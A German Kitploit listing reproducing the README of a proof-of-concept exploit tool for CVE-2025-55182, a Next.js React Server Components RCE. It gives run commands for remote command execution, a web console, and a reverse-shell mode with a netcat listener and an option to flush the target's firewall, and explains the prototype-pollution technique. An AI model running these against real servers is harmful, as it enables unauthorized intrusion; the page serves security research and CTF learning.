Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/raivenlockdown/web-cli_rce_react2shell
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungRemote-Access-Tool

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
raivenlockdown/web-cli_rce_react2shell

WEB-CLI_RCE_React2Shell

Repository anzeigen
56vor 4 MonatenNoch nicht geprüft

Über

WEB-CLI_RCE_React2Shell ist ein pädagogisches PoC-Exploit-Tool für CVE-2025-55182, eine kritische Prototype-Pollution-Schwachstelle in Next.js-Anwendungen, die React Server Components verwenden. Entwickelt für CTFs und Forschung, bietet es einen Einzelbefehlsmodus, eine interaktive Web-CLI und Reverse-Shell-Funktionen, um RCE zu demonstrieren.

Teilen

REACT2SHELL

🎯 Kurzer Überblick (Was ist das?)

Dieses Tool ist ein einfacher Proof-of-Concept (PoC) Exploit für CVE-2025-55182. Dabei handelt es sich um einen schwerwiegenden Fehler (Prototype Pollution), der in Next.js-Anwendungen gefunden wurde, die React Server Components verwenden.

Wenn ein Zielserver angreifbar ist, können Sie mit diesem Skript Betriebssystembefehle darauf ausführen (Remote Code Execution, kurz RCE).

Dieses Tool wurde zum Lernen, für CTFs und für verantwortungsvolle Sicherheitsforschung entwickelt.

Screenshot 2025-12-12 214115

⚠️ Haftungsausschluss für Studenten und CTF-Spieler

NUTZE ES ETHISCH. Führe diesen Exploit nur gegen Systeme aus, die dir gehören oder für die du eine ausdrückliche, dokumentierte Erlaubnis zum Testen hast. Unautorisierte Nutzung ist illegal. Dieses Tool dient ausschließlich zu Bildungszwecken.

🌟 Wie man es verwendet

Dieses Tool bietet drei Hauptmöglichkeiten, Befehle auszuführen: einen einfachen Einzelbefehl, eine vollständige interaktive Webkonsole und einen Versuch einer klassischen Reverse Shell.

⚙️ Installation

  1. Code herunterladen:

    git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
    cd REACT2SHELL
    
  2. Bibliothek installieren:

    pip install requests
    

Modus 1: Interaktive Webkonsole (Empfohlen für CTFs)

Dies ist der einfachste Weg, mit dem Ziel zu interagieren. Es startet eine lokale Webseite auf deinem Rechner, die wie ein Terminal funktioniert.

  1. Skript ausführen:

    python3 exploit.py <TARGET_URL> --web-cli
    

    Beispiel: python3 exploit.py http://target.com/ --web-cli

  2. Browser öffnen: Das Skript wird dir sagen, dass du http://127.0.0.1:8000/ öffnen sollst. Du kannst dann Befehle (wie ls, whoami, cat /etc/passwd) direkt in die Webseite eingeben.

Modus 2: Einzelbefehlsausführung

Führe einen Befehl aus und erhalte die Ausgabe sofort in deinem lokalen Terminal. Gut für schnelle Überprüfungen wie das Finden deiner Benutzer-ID.

python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'

Beispiel: python3 exploit.py http://target.com/ --cmd 'id'

Modus 3: Reverse-Shell-Versuch

Verwende diesen Modus, wenn du eine stabile, dauerhafte Verbindung wünschst. Hinweis: Dies scheitert oft in realen Umgebungen aufgrund von Firewalls (Egress-Filtering).

  1. Starte deinen Listener (z.B. netcat):

    nc -lvnp 55555
    
  2. Exploit ausführen:

    python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
    
    • -i <YOUR_IP>: Die IP deines Rechners.
    • -p 55555: Der Port, den dein Listener verwendet.
    • --flush (Optional): Versucht, auf dem Ziel zuerst iptables -F auszuführen, um Host-Firewalls zu leeren.

🔬 Technische Erklärung (Wie der Exploit funktioniert)

Der Exploit nutzt einen Prototype Pollution-Fehler, um RCE zu erreichen.

  1. Prototype Pollution: Das Skript sendet eine speziell präparierte Payload an einen angreifbaren Next.js-Endpunkt. Diese Payload nutzt einen Fehler in der Art und Weise aus, wie der Server Daten verarbeitet, sodass wir Eigenschaften zur grundlegenden JavaScript-Objektstruktur (Object.prototype) hinzufügen können.
  2. RCE-Auslöser: Wir verschmutzen eine bestimmte interne Eigenschaft, die steuert, welchen Code der Server ausführt (unter Verwendung von Node.js' child_process). Wir ersetzen den Wert dieser Eigenschaft durch unseren Shell-Befehl.
  3. Ausgabeerfassung: Wenn Befehle im Einzelbefehls- oder Web-CLI-Modus ausgeführt werden, veranlasst der Exploit den Server, den Befehl auszuführen (execSync) und sofort einen harmlosen Fehler zu werfen. Die Ausgabe des Befehls wird geschickt in das digest-Feld der Fehlermeldung gesteckt. Das Python-Skript liest dann dieses Feld aus, um die Ergebnisse zu erhalten.

🤝 Referenzen und Danksagungen

Diese Forschung stützt sich auf die anfängliche Arbeit und Offenlegung durch die Sicherheits-Community. Danke an alle Forscher und Open-Source-Mitwirkenden.

📚 Wichtige Referenzen

  • Original PoC Repository für CVE-2025-55182 - (Die Grundlage für diesen Exploit.)
  • Original PoC Code-Beispiel - (Das erste Code-Beispiel.)
  • Kritische Sicherheitslücke in React Server Components - (Offizieller React-Blogbeitrag zu dem Problem.)
  • Kritische Sicherheitslücke in React (CVE-2025-55182) - (Detaillierte Sicherheitsanalyse.)
  • React Server Functions Dokumentation - (Offizielle Dokumentation, die den Kontext der Funktionsweise der angreifbaren Komponenten erklärt.)
Tool herunterladen